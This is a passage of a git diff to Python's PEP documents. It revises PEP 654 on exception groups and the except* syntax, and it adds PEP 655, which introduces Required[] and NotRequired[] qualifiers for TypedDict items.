all other exceptions propagate. .. code-block:: try: low_level_os_operation() - except *OSerror as errors: - raise errors.subgroup(lambda e: e.errno != errno.EPIPE) from None + except* OSError as errors: + exc = errors.subgroup(lambda e: e.errno != errno.EPIPE) + if exc is not None: + raise exc from None Caught Exception Objects ~~~~~~~~~~~~~~~~~~~~~~~~ -It is important to point out that the ``ExceptionGroup`` bound to ``e`` is an -ephemeral object. Raising it via ``raise`` or ``raise e`` will not cause changes -to the overall shape of the ``ExceptionGroup``. Any modifications to it will -likely be lost: +It is important to point out that the exception group bound to ``e`` in an +``except*`` clause is an ephemeral object. Raising it via ``raise`` or +``raise e`` will not cause changes to the overall shape of the original +exception group. Any modifications to ``e`` will likely be lost: .. code-block:: @@ -822,7 +1011,7 @@ likely be lost: >>> eg.foo = 'foo' >>> try: ... raise eg - ... except *TypeError as e: + ... except* TypeError as e: ... e.foo = 'bar' ... # ^----------- ``e`` is an ephemeral object that might get >>> # destroyed after the ``except*`` clause. @@ -843,12 +1032,13 @@ It is not possible to use both traditional ``except`` blocks and the new ... except ValueError: pass - except *CancelledError: # <- SyntaxError: + except* CancelledError: # <- SyntaxError: pass # combining ``except`` and ``except*`` # is prohibited -It is possible to catch the ``ExceptionGroup`` type with ``except``, but not -with ``except*`` because the latter is ambiguous: +It is possible to catch the ``ExceptionGroup`` and ``BaseExceptionGroup`` +types with ``except``, but not with ``except*`` because the latter is +ambiguous: .. code-block:: @@ -859,12 +1049,12 @@ with ``except*`` because the latter is ambiguous: try: ... - except *ExceptionGroup: # <- Runtime error + except* ExceptionGroup: # <- Runtime error pass try: ... - except *(TypeError, ExceptionGroup): # <- Runtime error + except* (TypeError, ExceptionGroup): # <- Runtime error pass @@ -893,35 +1083,38 @@ Backwards Compatibility Backwards compatibility was a requirement of our design, and the changes we propose in this PEP will not break any existing code: -* The addition of a new builtin exception type ``ExceptionGroup`` does not impact - existing programs. The way that existing exceptions are handled and displayed - does not change in any way. +* The addition of the new builtin exception types ``ExceptionGroup`` and + ``BaseExceptionGroup`` does not impact existing programs. The way that + existing exceptions are handled and displayed does not change in any way. * The behaviour of ``except`` is unchanged so existing code will continue to work. Programs will only be impacted by the changes proposed in this PEP once they - begin to use ``ExceptionGroups`` and ``except*``. + begin to use exception groups and ``except*``. +* An important concern was that ``except Exception:`` will continue to catch + almost all exceptions, and by making ``ExceptionGroup`` extend ``Exception`` + we ensured that this will be the case. ``BaseExceptionGroups`` will not be + caught, which is appropriate because they include exceptions that would not + have been caught by ``except Exception``. Once programs begin to use these features, there will be migration issues to consider: -* An ``except Exception:`` clause will not catch ``ExceptionGroup`` because it - is derived from ``BaseException``. Any such clause will need to be replaced - by ``except (Exception, ExceptionGroup):`` or ``except *Exception:``. - -* Similarly, any ``except T:`` clause that wraps code which is now potentially - raising ``ExceptionGroup`` needs to become ``except *T:``, and its body may - need to be updated. +* An ``except T:`` clause that wraps code which is now potentially raising + an exception group may need to become ``except* T:``, and its body may + need to be updated. This means that raising an exception group is an + API-breaking change and will likely be done in new APIs rather than + added to existing ones. * Libraries that need to support older Python versions will not be able to use - ``except*`` or raise ``ExceptionGroups``. + ``except*`` or raise exception groups. How to Teach This ================= -``ExceptionGroups`` and ``except*`` will be documented as part of the language -standard. Libraries that raise ``ExceptionGroups`` such as ``asyncio`` will need +Exception groups and ``except*`` will be documented as part of the language +standard. Libraries that raise exception groups such as ``asyncio`` will need to specify this in their documentation and clarify which API calls need to be wrapped with ``try-except*`` rather than ``try-except``. @@ -930,11 +1123,12 @@ Reference Implementation ======================== We developed these concepts (and the examples for this PEP) with -the help of the reference implementation [10]_. +the help of the reference implementation [11]_. It has the builtin ``ExceptionGroup`` along with the changes to the traceback formatting code, in addition to the grammar, compiler and interpreter changes -required to support ``except*``. +required to support ``except*``. ``BaseExceptionGroup`` will be added +soon. Two opcodes were added: one implements the exception type match check via ``ExceptionGroup.split()``, and the other is used at the end of a ``try-except`` @@ -951,18 +1145,54 @@ metadata as the original, while the raised ones do not. Rejected Ideas ============== -The ExceptionGroup API ----------------------- +Make Exception Groups Iterable +------------------------------ -We considered making ``ExceptionGroups`` iterable, so that ``list(eg)`` would +We considered making exception groups iterable, so that ``list(eg)`` would produce a flattened list of the leaf exceptions contained in the group. -We decided that this would not be not be a sound API, because the metadata +We decided that this would not be a sound API, because the metadata (cause, context and traceback) of the individual exceptions in a group is -incomplete and this could create problems. If use cases arise where this -can be helpful, we can document (or even provide in the standard library) -a sound recipe for accessing an individual exception: use the ``split()`` -method to create an ``ExceptionGroup`` for a single exception and then -extract the contained exception with the correct metadata. +incomplete and this could create problems. + +Furthermore, as we explained in the `Handling Exception Groups`_ section, we +find it unlikely that iteration over leaf exceptions will have many use cases. +We did, however, provide there the code for a traversal algorithm that +correctly constructs each leaf exceptions' metadata. If it does turn out to +be useful in practice, we can in the future add that utility to the standard +library or even make exception groups iterable. + +Make ``ExceptionGroup`` Extend ``BaseException`` +------------------------------------------------ + +We considered making ``ExceptionGroup`` subclass only ``BaseException``, +and not ``Exception``. The rationale of this was that we expect exception +groups to be used in a deliberate manner where they are needed, and raised +only by APIs that are specifically designed and documented to do so. In +this context, an ``ExceptionGroup`` escaping from an API that is not +intended to raise one is a bug, and we wanted to give it "fatal error" +status so that ``except Exception`` will not inadvertently swallow it. +This would have been consistent with the way ``except T:`` does not catch +exception groups that contain ``T`` for all other types, and would help +contain ``ExceptionGroups`` to the parts of the program in which they are +supposed to appear. However, it was clear from the public discussion that +``T=Exception`` is a special case, and there are developers who feel strongly +that ``except Exception:`` should catch "almost everything", including +exception groups. This is why we decided to make ``ExceptionGroup`` a +subclass of ``Exception``. + +Make it Impossible to Wrap ``BaseExceptions`` in an Exception Group +------------------------------------------------------------------- + +A consequence of the decision to make ``ExceptionGroup`` extend +``Exception`` is that ``ExceptionGroup`` should not wrap ``BaseExceptions`` +like ``KeyboardInterrupt``, as they are not currently caught by +``except Exception:``. We considered the option of simply making it +impossible to wrap ``BaseExceptions``, but eventually decided to make +it possible through the ``BaseExceptionGroup`` type, which extends +``BaseException`` rather than ``Exception``. Making this possible +adds flexibility to the language and leaves it for the programmer to +weigh the benefit of wrapping ``BaseExceptions`` rather than propagating +them in their naked form while discarding any other exceptions. Traceback Representation ------------------------ @@ -976,26 +1206,75 @@ group. Furthermore, a useful display of the traceback includes information about the nested exceptions. For these reasons we decided that it is best to leave the traceback mechanism as it is and modify the traceback display code. -A full redesign of ``except`` ------------------------------ +Extend ``except`` to Handle Exception Groups +--------------------------------------------- + +We considered extending the semantics of ``except`` to handle +exception groups, instead of introducing ``except*``. There were two +backwards compatibility concerns with this. The first is the type of the +caught exception. Consider this example: + +.. code-block:: + + try: + . . . + except OSError as err: + if err.errno != ENOENT: + raise + +If the value assigned to err is an exception group containing all of +the ``OSErrors`` that were raised, then the attribute access ``err.errno`` +no longer works. So we would need to execute the body of the ``except`` +clause multiple times, once for each exception in the group. However, this +too is a potentially breaking change because at the moment we write ``except`` +clauses with the knowledge that they are only executed once. If there is +a non-idempotent operation there, such as releasing a resource, the +repetition could be harmful. + +The idea of making ``except`` iterate over the leaf exceptions of an exception +group is at the heart of an `alternative proposal to this PEP by Nathaniel J. Smith +`_, +and the discussion about that proposal further elaborates on the pitfalls of +changing ``except`` semantics in a mature language like Python, as well as +deviating from the semantics that parallel constructs have in other languages. + +Another option that came up in the public discussion was to add ``except*``, +but also make ``except`` treat ``ExceptionGroups`` as a special case. +``except`` would then do something along the lines of extracting one exception +of matching type from the group in order to handle it (while discarding all +the other exceptions in the group). The motivation behind +these suggestions was to make the adoption of exception groups safer, in that +``except T`` catches ``Ts`` that are wrapped in exception groups. We decided +that such an approach adds considerable complexity to the semantics of the +language without making it more powerful. Even if it would make the adoption +of exception groups slightly easier (which is not at all obvious), these are +not the semantics we would like to have in the long term. + + +A New ``except`` Alternative +---------------------------- We considered introducing a new keyword (such as ``catch``) which can be used -to handle both naked exceptions and ``ExceptionGroups``. Its semantics would -be the same as those of ``except*`` when catching an ``ExceptionGroup``, but -it would not wrap a naked exception to create an ``ExceptionGroup``. This +to handle both naked exceptions and exception groups. Its semantics would +be the same as those of ``except*`` when catching an exception group, but +it would not wrap a naked exception to create an exception group. This would have been part of a long term plan to replace ``except`` by ``catch``, but we decided that deprecating ``except`` in favour of an enhanced keyword would be too confusing for users at this time, so it is more appropriate -to introduce the ``except*`` syntax for ``ExceptionGroups`` while ``except`` +to introduce the ``except*`` syntax for exception groups while ``except`` continues to be used for simple exceptions. -Applying an ``except*`` clause on one exception at a time +Applying an ``except*`` Clause on One Exception at a Time --------------------------------------------------------- -We considered making ``except*`` clauses always execute on a single exception, +We explained above that it is unsafe to execute an ``except`` clause in +existing code more than once, because the code may not be idempotent. +We considered doing this in the new ``except*`` clauses, +where the backwards compatibility considerations do not exist. +The idea is to always execute an ``except*`` clause on a single exception, possibly executing the same clause multiple times when it matches multiple -exceptions. We decided instead to execute each ``except*`` clause at most once, -giving it an ``ExceptionGroup`` that contains all matching exceptions. The +exceptions. We decided instead to execute each ``except*`` clause at most +once, giving it an exception group that contains all matching exceptions. The reason for this decision was the observation that when a program needs to know the particular context of an exception it is handling, the exception is handled before it is grouped and raised together with other exceptions. @@ -1018,7 +1297,7 @@ It is unlikely that asyncio users would want to do something like this: try: async with asyncio.TaskGroup() as g: g.create_task(task1); g.create_task(task2) - except *KeyError: + except* KeyError: # handling KeyError here is meaningless, there's # no context to do anything with it but to log it. @@ -1030,30 +1309,30 @@ or cleanup is required. This decision is likely to be the same whether the group contains a single or multiple instances of something like a ``KeyboardInterrupt`` or ``asyncio.CancelledError``. Therefore, it is more convenient to handle all exceptions matching an ``except*`` at once. If it does turn out to be necessary, -the handler can inpect the ``ExceptionGroup`` and process the individual +the handler can inpect the exception group and process the individual exceptions in it. -Not matching naked exceptions in ``except*`` +Not Matching Naked Exceptions in ``except*`` -------------------------------------------- -We considered the option of making ``except *T`` match only ``ExceptionGroups`` +We considered the option of making ``except* T`` match only exception groups that contain ``Ts``, but not naked ``Ts``. To see why we thought this would not be a desirable feature, return to the distinction in the previous paragraph between operation errors and control flow exceptions. If we don't know whether -we should expect naked exceptions or ``ExceptionGroups`` from the body of a +we should expect naked exceptions or exception groups from the body of a ``try`` block, then we're not in the position of handling operation errors. Rather, we are likely calling a fairly generic function and will be handling errors to make control flow decisions. We are likely to do the same thing -whether we catch a naked exception of type ``T`` or an ``ExceptionGroup`` +whether we catch a naked exception of type ``T`` or an exception group with one or more ``Ts``. Therefore, the burden of having to explicitly handle both is not likely to have semantic benefit. If it does turn out to be necessary to make the distinction, it is always -possible to nest in the ``try-except*`` clause an additional ``try-except`` clause -which intercepts and handles a naked exception before the ``except*`` clause -has a change to wrap it in an ``ExceptionGroup``. In this case the overhead -of specifying both is not additional burden - we really do need to write a -separate code block to handle each case: +possible to nest in the ``try-except*`` clause an additional ``try-except`` +clause which intercepts and handles a naked exception before the ``except*`` +clause has a chance to wrap it in an exception group. In this case the +overhead of specifying both is not additional burden - we really do need to +write a separate code block to handle each case: .. code-block:: @@ -1062,8 +1341,8 @@ separate code block to handle each case: ... except SomeError: # handle the naked exception - except *SomeError: - # handle the ExceptionGroup + except* SomeError: + # handle the exception group Allow mixing ``except:`` and ``except*:`` in the same ``try`` @@ -1071,8 +1350,8 @@ Allow mixing ``except:`` and ``except*:`` in the same ``try`` This option was rejected because it adds complexity without adding useful semantics. Presumably the intention would be that an ``except T:`` block handles -only naked exceptions of type ``T``, while ``except *T:`` handles ``T`` in -``ExceptionGroups``. We already discussed above why this is unlikely +only naked exceptions of type ``T``, while ``except* T:`` handles ``T`` in +exception groups. We already discussed above why this is unlikely to be useful in practice, and if it is needed then the nested ``try-except`` block can be used instead to achieve the same result. @@ -1082,14 +1361,30 @@ block can be used instead to achieve the same result. Since either all or none of the clauses of a ``try`` construct are ``except*``, we considered changing the syntax of the ``try`` instead of all the ``except*`` clauses. We rejected this because it would be less obvious. The fact that we -are handling ``ExceptionGroups`` of ``T`` rather than only naked ``Ts`` should be +are handling exception groups of ``T`` rather than only naked ``Ts`` should be specified in the same place where we state ``T``. +Alternative syntax options +-------------------------- + +Alternatives to the ``except*`` syntax were evaluated in a `discussion on python-dev +`_, and it was suggested to use +``except group``. Upon careful evaluation this was rejected because the following +would be ambiguous, as it is currently valid syntax where ``group`` is interpreted +as a callable. The same is true for any valid identifier. + +.. code-block:: + + try: + ... + except group (T1, T2): + ... + Programming Without 'except \*' =============================== -Consider the following simple example of the ``except *`` syntax (pretending +Consider the following simple example of the ``except*`` syntax (pretending Trio natively supported this proposal): .. code-block:: @@ -1099,7 +1394,7 @@ Trio natively supported this proposal): # Make two concurrent calls to child() nursery.start_soon(child) nursery.start_soon(child) - except *ValueError: + except* ValueError: pass Here is how this code would look in Python 3.9: @@ -1133,7 +1428,7 @@ See Also ======== * An analysis of how exception groups will likely be used in asyncio - programs: [11]_. + programs: [10]_. * The issue where the ``except*`` concept was first formalized: [12]_. @@ -1142,6 +1437,33 @@ See Also * Reporting Multiple Errors in the Hypothesis library: [7]_. +Acknowledgements +================ + +We wish to thank Nathaniel J. Smith and the other Trio developers for their +work on structured concurrency. We borrowed the idea of constructing an +exception tree whose nodes are exceptions from MultiError, and the ``split()`` +API from the design document for MultiError V2. The discussions on python-dev +and elsewhere helped us improve upon the first draft of the PEP in multiple +ways, both the design and the exposition. For this we appreciate all those who +contributed ideas and asked good questions: Ammar Askar, Matthew Barnett, +Ran Benita, Emily Bowman, Brandt Bucher, Joao Bueno, Baptiste Carvello, +Rob Cliffe, Nick Coghlan, Steven D'Aprano, Caleb Donovick, Steve Dower, +Greg Ewing, Ethan Furman, Pablo Salgado, Jonathan Goble, Joe Gottman, Thomas Grainger, +Larry Hastings, Zac Hatfield-Dodds, Chris Jerdonek, Jim Jewett, Sven Kunze, +Łukasz Langa, Glenn Linderman, Paul Moore, Antoine Pitrou, Ivan Pozdeev, +Patrick Reader, Terry Reedy, Sascha Schlemmer, Barry Scott, Mark Shannon, +Damian Shaw, Cameron Simpson, Gregory Smith, Paul Sokolovsky, Calvin Spealman, +Steve Stagg, Victor Stinner, Marco Sulla, Petr Viktorin and Barry Warsaw. + + +Acceptance +========== + +:pep:`654` was `accepted by Thomas Wouters on Sep 24, 2021 +`_. + + References ========== @@ -1163,9 +1485,9 @@ References .. [9] https://trio.readthedocs.io/en/stable/reference-core.html#trio.MultiError -.. [10] https://github.com/iritkatriel/cpython/tree/exceptionGroup-stage5 +.. [10] https://github.com/python/exceptiongroups/issues/3#issuecomment-716203284 -.. [11] https://github.com/python/exceptiongroups/issues/3#issuecomment-716203284 +.. [11] https://github.com/iritkatriel/cpython/tree/exceptionGroup-stage5 .. [12] https://github.com/python/exceptiongroups/issues/4 diff --git a/pep-0655.rst b/pep-0655.rst new file mode 100644 index 00000000000..f1d16b45af4 --- /dev/null +++ b/pep-0655.rst @@ -0,0 +1,678 @@ +PEP: 655 +Title: Marking individual TypedDict items as required or potentially-missing +Author: David Foster +Sponsor: Guido van Rossum +Discussions-To: https://mail.python.org/archives/list/typing-sig@python.org/thread/53XVOD5ZUKJ263MWA6AUPEA6J7LBBLNV/ +Status: Accepted +Type: Standards Track +Content-Type: text/x-rst +Created: 30-Jan-2021 +Python-Version: 3.11 +Post-History: 31-Jan-2021, 11-Feb-2021, 20-Feb-2021, 26-Feb-2021, 17-Jan-2022, 28-Jan-2022 +Resolution: https://mail.python.org/archives/list/python-dev@python.org/message/AJEDNVC3FXM5QXNNW5CR4UCT4KI5XVUE/ + + +Abstract +======== + +:pep:`589` defines notation +for declaring a TypedDict with all required keys and notation for defining +a TypedDict with :pep:`all potentially-missing keys <589#totality>`, however it +does not provide a mechanism to declare some keys as required and others +as potentially-missing. This PEP introduces two new notations: +``Required[]``, which can be used on individual items of a +TypedDict to mark them as required, and +``NotRequired[]``, which can be used on individual items +to mark them as potentially-missing. + +This PEP makes no Python grammar changes. Correct usage +of required and potentially-missing keys of TypedDicts is intended to be +enforced only by static type checkers and need not be enforced by +Python itself at runtime. + + +Motivation +========== + +It is not uncommon to want to define a TypedDict with some keys that are +required and others that are potentially-missing. Currently the only way +to define such a TypedDict is to declare one TypedDict with one value +for ``total`` and then inherit it from another TypedDict with a +different value for ``total``: + +:: + + class _MovieBase(TypedDict): # implicitly total=True + title: str + + class Movie(_MovieBase, total=False): + year: int + +Having to declare two different TypedDict types for this purpose is +cumbersome. + +This PEP introduces two new type qualifiers, ``typing.Required`` and +``typing.NotRequired``, which allow defining a *single* TypedDict with +a mix of both required and potentially-missing keys: + +:: + + class Movie(TypedDict): + title: str + year: NotRequired[int] + +This PEP also makes it possible to define TypedDicts in the +:pep:`alternative functional syntax <589#alternative-syntax>` +with a mix of required and potentially-missing keys, +which is not currently possible at all because the alternative syntax does +not support inheritance: + +:: + + Actor = TypedDict('Actor', { + 'name': str, + # "in" is a keyword, so the functional syntax is necessary + 'in': NotRequired[List[str]], + }) + + +Rationale +========= + +One might think it unusual to propose notation that prioritizes marking +*required* keys rather than *potentially-missing* keys, as is +customary in other languages like TypeScript: + +.. code-block:: typescript + + interface Movie { + title: string; + year?: number; // ? marks potentially-missing keys + } + +The difficulty is that the best word for marking a potentially-missing +key, ``Optional[]``, is already used in Python for a completely +different purpose: marking values that could be either of a particular +type or ``None``. In particular the following does not work: + +:: + + class Movie(TypedDict): + ... + year: Optional[int] # means int|None, not potentially-missing! + +Attempting to use any synonym of “optional” to mark potentially-missing +keys (like ``Missing[]``) would be too similar to ``Optional[]`` +and be easy to confuse with it. + +Thus it was decided to focus on positive-form phrasing for required keys +instead, which is straightforward to spell as ``Required[]``. + +Nevertheless it is common for folks wanting to extend a regular +(``total=True``) TypedDict to only want to add a small number of +potentially-missing keys, which necessitates a way to mark keys that are +*not* required and potentially-missing, and so we also allow the +``NotRequired[]`` form for that case. + + +Specification +============= + +The ``typing.Required`` type qualifier is used to indicate that a +variable declared in a TypedDict definition is a required key: + +:: + + class Movie(TypedDict, total=False): + title: Required[str] + year: int + +Additionally the ``typing.NotRequired`` type qualifier is used to +indicate that a variable declared in a TypedDict definition is a +potentially-missing key: + +:: + + class Movie(TypedDict): # implicitly total=True + title: str + year: NotRequired[int] + +It is an error to use ``Required[]`` or ``NotRequired[]`` in any +location that is not an item of a TypedDict. +Type checkers must enforce this restriction. + +It is valid to use ``Required[]`` and ``NotRequired[]`` even for +items where it is redundant, to enable additional explicitness if desired: + +:: + + class Movie(TypedDict): + title: Required[str] # redundant + year: NotRequired[int] + +It is an error to use both ``Required[]`` and ``NotRequired[]`` at the +same time: + +:: + + class Movie(TypedDict): + title: str + year: NotRequired[Required[int]] # ERROR + +Type checkers must enforce this restriction. +The runtime implementations of ``Required[]`` and ``NotRequired[]`` +may also enforce this restriction. + +The :pep:`alternative functional syntax <589#alternative-syntax>` +for TypedDict also supports +``Required[]`` and ``NotRequired[]``: + +:: + + Movie = TypedDict('Movie', {'name': str, 'year': NotRequired[int]}) + + +Interaction with ``total=False`` +-------------------------------- + +Any :pep:`589`-style TypedDict declared with ``total=False`` is equivalent +to a TypedDict with an implicit ``total=True`` definition with all of its +keys marked as ``NotRequired[]``. + +Therefore: + +:: + + class _MovieBase(TypedDict): # implicitly total=True + title: str + + class Movie(_MovieBase, total=False): + year: int + + +is equivalent to: + +:: + + class _MovieBase(TypedDict): + title: str + + class Movie(_MovieBase): + year: NotRequired[int] + + +Interaction with ``Annotated[]`` +----------------------------------- + +``Required[]`` and ``NotRequired[]`` can be used with ``Annotated[]``, +in any nesting order: + +:: + + class Movie(TypedDict): + title: str + year: NotRequired[Annotated[int, ValueRange(-9999, 9999)]] # ok + +:: + + class Movie(TypedDict): + title: str + year: Annotated[NotRequired[int], ValueRange(-9999, 9999)] # ok + +In particular allowing ``Annotated[]`` to be the outermost annotation +for an item allows better interoperability with non-typing uses of +annotations, which may always want ``Annotated[]`` as the outermost annotation. +[3]_ + + +Runtime behavior +---------------- + + +Interaction with ``get_type_hints()`` +''''''''''''''''''''''''''''''''''''' + +``typing.get_type_hints(...)`` applied to a TypedDict will by default +strip out any ``Required[]`` or ``NotRequired[]`` type qualifiers, +since these qualifiers are expected to be inconvenient for code +casually introspecting type annotations. + +``typing.get_type_hints(..., include_extras=True)`` however +*will* retain ``Required[]`` and ``NotRequired[]`` type qualifiers, +for advanced code introspecting type annotations that +wishes to preserve *all* annotations in the original source: + +:: + + class Movie(TypedDict): + title: str + year: NotRequired[int] + + assert get_type_hints(Movie) == \ + {'title': str, 'year': int} + assert get_type_hints(Movie, include_extras=True) == \ + {'title': str, 'year': NotRequired[int]} + + +Interaction with ``get_origin()`` and ``get_args()`` +'''''''''''''''''''''''''''''''''''''''''''''''''''' + +``typing.get_origin()`` and ``typing.get_args()`` will be updated to +recognize ``Required[]`` and ``NotRequired[]``: + +:: + + assert get_origin(Required[int]) is Required + assert get_args(Required[int]) == (int,) + + assert get_origin(NotRequired[int]) is NotRequired + assert get_args(NotRequired[int]) == (int,) + + +Interaction with ``__required_keys__`` and ``__optional_keys__`` +'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' + +An item marked with ``Required[]`` will always appear +in the ``__required_keys__`` for its enclosing TypedDict. Similarly an item +marked with ``NotRequired[]`` will always appear in ``__optional_keys__``. + +:: + + assert Movie.__required_keys__ == frozenset({'title'}) + assert Movie.__optional_keys__ == frozenset({'year'}) + + +Backwards Compatibility +======================= + +No backward incompatible changes are made by this PEP. + + +How to Teach This +================= + +To define a TypedDict where most keys are required and some are +potentially-missing, define a single TypedDict as normal +(without the ``total`` keyword) +and mark those few keys that are potentially-missing with ``NotRequired[]``. + +To define a TypedDict where most keys are potentially-missing and a few are +required, define a ``total=False`` TypedDict +and mark those few keys that are required with ``Required[]``. + +If some items accept ``None`` in addition to a regular value, it is +recommended that the ``TYPE|None`` notation be preferred over +``Optional[TYPE]`` for marking such item values, to avoid using +``Required[]`` or ``NotRequired[]`` alongside ``Optional[]`` +within the same TypedDict definition: + +Yes: + +:: + + from __future__ import annotations # for Python 3.7-3.9 + + class Dog(TypedDict): + name: str + owner: NotRequired[str|None] + +Okay (required for Python 3.5.3-3.6): + +:: + + class Dog(TypedDict): + name: str + owner: 'NotRequired[str|None]' + +No: + +:: + + class Dog(TypedDict): + name: str + # ick; avoid using both Optional and NotRequired + owner: NotRequired[Optional[str]] + +Usage in Python <3.11 +--------------------- + +If your code supports Python <3.11 and wishes to use ``Required[]`` or +``NotRequired[]`` then it should use ``typing_extensions.TypedDict`` rather +than ``typing.TypedDict`` because the latter will not understand +``(Not)Required[]``. In particular ``__required_keys__`` and +``__optional_keys__`` on the resulting TypedDict type will not be correct: + +Yes (Python 3.11+ only): + +:: + + from typing import NotRequired, TypedDict + + class Dog(TypedDict): + name: str + owner: NotRequired[str|None] + +Yes (Python <3.11 and 3.11+): + +:: + + from __future__ import annotations # for Python 3.7-3.9 + + from typing_extensions import NotRequired, TypedDict # for Python <3.11 with (Not)Required + + class Dog(TypedDict): + name: str + owner: NotRequired[str|None] + +No (Python <3.11 and 3.11+): + +:: + + from typing import TypedDict # oops: should import from typing_extensions instead + from typing_extensions import NotRequired + + class Movie(TypedDict): + title: str + year: NotRequired[int] + + assert Movie.__required_keys__ == frozenset({'title', 'year'}) # yikes + assert Movie.__optional_keys__ == frozenset() # yikes + + +Reference Implementation +======================== + +The `mypy `__ +`0.930 `__, +`pyright `__ +`1.1.117 `__, +and `pyanalyze `__ +`0.4.0 `__ +type checkers support ``Required`` and ``NotRequired``. + +A reference implementation of the runtime component is provided in the +`typing_extensions `__ +module. + + +Rejected Ideas +============== + +Special syntax around the *key* of a TypedDict item +--------------------------------------------------- + +:: + + class MyThing(TypedDict): + opt1?: str # may not exist, but if exists, value is string + opt2: Optional[str] # always exists, but may have None value + +This notation would require Python grammar changes and it is not +believed that marking TypedDict items as required or potentially-missing +would meet the high bar required to make such grammar changes. + +:: + + class MyThing(TypedDict): + Optional[opt1]: str # may not exist, but if exists, value is string + opt2: Optional[str] # always exists, but may have None value + +This notation causes ``Optional[]`` to take on different meanings depending +on where it is positioned, which is inconsistent and confusing. + +Also, “let’s just not put funny syntax before the colon.” [1]_ + + +Marking required or potentially-missing keys with an operator +------------------------------------------------------------- + +We could use unary ``+`` as shorthand to mark a required key, unary +``-`` to mark a potentially-missing key, or unary ``~`` to mark a key +with opposite-of-normal totality: + +:: + + class MyThing(TypedDict, total=False): + req1: +int # + means a required key, or Required[] + opt1: str + req2: +float + + class MyThing(TypedDict): + req1: int + opt1: -str # - means a potentially-missing key, or NotRequired[] + req2: float + + class MyThing(TypedDict): + req1: int + opt1: ~str # ~ means a opposite-of-normal-totality key + req2: float + +Such operators could be implemented on ``type`` via the ``__pos__``, +``__neg__`` and ``__invert__`` special methods without modifying the +grammar. + +It was decided that it would be prudent to introduce long-form notation +(i.e. ``Required[]`` and ``NotRequired[]``) before introducing +any short-form notation. Future PEPs may reconsider introducing this +or other short-form notation options. + +Note when reconsidering introducing this short-form notation that +``+``, ``-``, and ``~`` already have existing meanings in the Python +typing world: covariant, contravariant, and invariant: + +:: + + >>> from typing import TypeVar + >>> (TypeVar('T', covariant=True), TypeVar('U', contravariant=True), TypeVar('V')) + (+T, -U, ~V) + + +Marking absence of a value with a special constant +-------------------------------------------------- + +We could introduce a new type-level constant which signals the absence +of a value when used as a union member, similar to JavaScript’s +``undefined`` type, perhaps called ``Missing``: + +:: + + class MyThing(TypedDict): + req1: int + opt1: str|Missing + req2: float + +Such a ``Missing`` constant could also be used for other scenarios such +as the type of a variable which is only conditionally defined: + +:: + + class MyClass: + attr: int|Missing + + def __init__(self, set_attr: bool) -> None: + if set_attr: + self.attr = 10 + +:: + + def foo(set_attr: bool) -> None: + if set_attr: + attr = 10 + reveal_type(attr) # int|Missing + +Misalignment with how unions apply to values +'''''''''''''''''''''''''''''''''''''''''''' + +However this use of ``...|Missing``, equivalent to +``Union[..., Missing]``, doesn’t align well with what a union normally +means: ``Union[...]`` always describes the type of a *value* that is +present. By contrast missingness or non-totality is a property of a +*variable* instead. Current precedent for marking properties of a +variable include ``Final[...]`` and ``ClassVar[...]``, which the +proposal for ``Required[...]`` is aligned with. + +Misalignment with how unions are subdivided +''''''''''''''''''''''''''''''''''''''''''' + +Furthermore the use of ``Union[..., Missing]`` doesn’t align with the +usual ways that union values are broken down: Normally you can eliminate +components of a union type using ``isinstance`` checks: + +:: + + class Packet: + data: Union[str, bytes] + + def send_data(packet: Packet) -> None: + if isinstance(packet.data, str): + reveal_type(packet.data) # str + packet_bytes = packet.data.encode('utf-8') + else: + reveal_type(packet.data) # bytes + packet_bytes = packet.data + socket.send(packet_bytes) + +However if we were to allow ``Union[..., Missing]`` you’d either have to +eliminate the ``Missing`` case with ``hasattr`` for object attributes: + +:: + + class Packet: + data: Union[str, Missing] + + def send_data(packet: Packet) -> None: + if hasattr(packet, 'data'): + reveal_type(packet.data) # str + packet_bytes = packet.data.encode('utf-8') + else: + reveal_type(packet.data) # Missing? error? + packet_bytes = b'' + socket.send(packet_bytes) + +or a check against ``locals()`` for local variables: + +:: + + def send_data(packet_data: Optional[str]) -> None: + packet_bytes: Union[str, Missing] + if packet_data is not None: + packet_bytes = packet.data.encode('utf-8') + + if 'packet_bytes' in locals(): + reveal_type(packet_bytes) # bytes + socket.send(packet_bytes) + else: + reveal_type(packet_bytes) # Missing? error? + +or a check via other means, such as against ``globals()`` for global +variables: + +:: + + warning: Union[str, Missing] + import sys + if sys.version_info < (3, 6): + warning = 'Your version of Python is unsupported!' + + if 'warning' in globals(): + reveal_type(warning) # str + print(warning) + else: + reveal_type(warning) # Missing? error? + +Weird and inconsistent. ``Missing`` is not really a value at all; it’s +an absence of definition and such an absence should be treated +specially. + +Difficult to implement +'''''''''''''''''''''' + +Eric Traut from the Pyright type checker team has stated that +implementing a ``Union[..., Missing]``-style notation would be +difficult. [2]_ + +Introduces a second null-like value into Python +''''''''''''''''''''''''''''''''''''''''''''''' + +Defining a new ``Missing`` type-level constant would be very close to +introducing a new ``Missing`` value-level constant at runtime, creating +a second null-like runtime value in addition to ``None``. Having two +different null-like constants in Python (``None`` and ``Missing``) would +be confusing. Many newcomers to JavaScript already have difficulty +distinguishing between its analogous constants ``null`` and +``undefined``. + + +Replace Optional with Nullable. Repurpose Optional to mean “optional item”. +--------------------------------------------------------------------------- + +``Optional[]`` is too ubiquitous to deprecate, although use of it +*may* fade over time in favor of the ``T|None`` notation specified by :pep:`604`. + + +Change Optional to mean “optional item” in certain contexts instead of “nullable” +--------------------------------------------------------------------------------- + +Consider the use of a special flag on a TypedDict definition to alter +the interpretation of ``Optional`` inside the TypedDict to mean +“optional item” rather than its usual meaning of “nullable”: + +:: + + class MyThing(TypedDict, optional_as_missing=True): + req1: int + opt1: Optional[str] + +or: + +:: + + class MyThing(TypedDict, optional_as_nullable=False): + req1: int + opt1: Optional[str] + +This would add more confusion for users because it would mean that in +*some* contexts the meaning of ``Optional[]`` is different than in +other contexts, and it would be easy to overlook the flag. + + +Various synonyms for “potentially-missing item” +----------------------------------------------- + +- Omittable – too easy to confuse with optional +- OptionalItem, OptionalKey – two words; too easy to confuse with + optional +- MayExist, MissingOk – two words +- Droppable – too similar to Rust’s ``Drop``, which means something + different +- Potential – too vague +- Open – sounds like applies to an entire structure rather then to an + item +- Excludable +- Checked + + +References +========== + +.. [1] https://mail.python.org/archives/list/typing-sig@python.org/message/4I3GPIWDUKV6GUCHDMORGUGRE4F4SXGR/ + +.. [2] https://mail.python.org/archives/list/typing-sig@python.org/message/S2VJSVG6WCIWPBZ54BOJPG56KXVSLZK6/ + +.. [3] https://bugs.python.org/issue46491 + +Copyright +========= + +This document is placed in the public domain or under the +CC0-1.0-Universal license, whichever is more 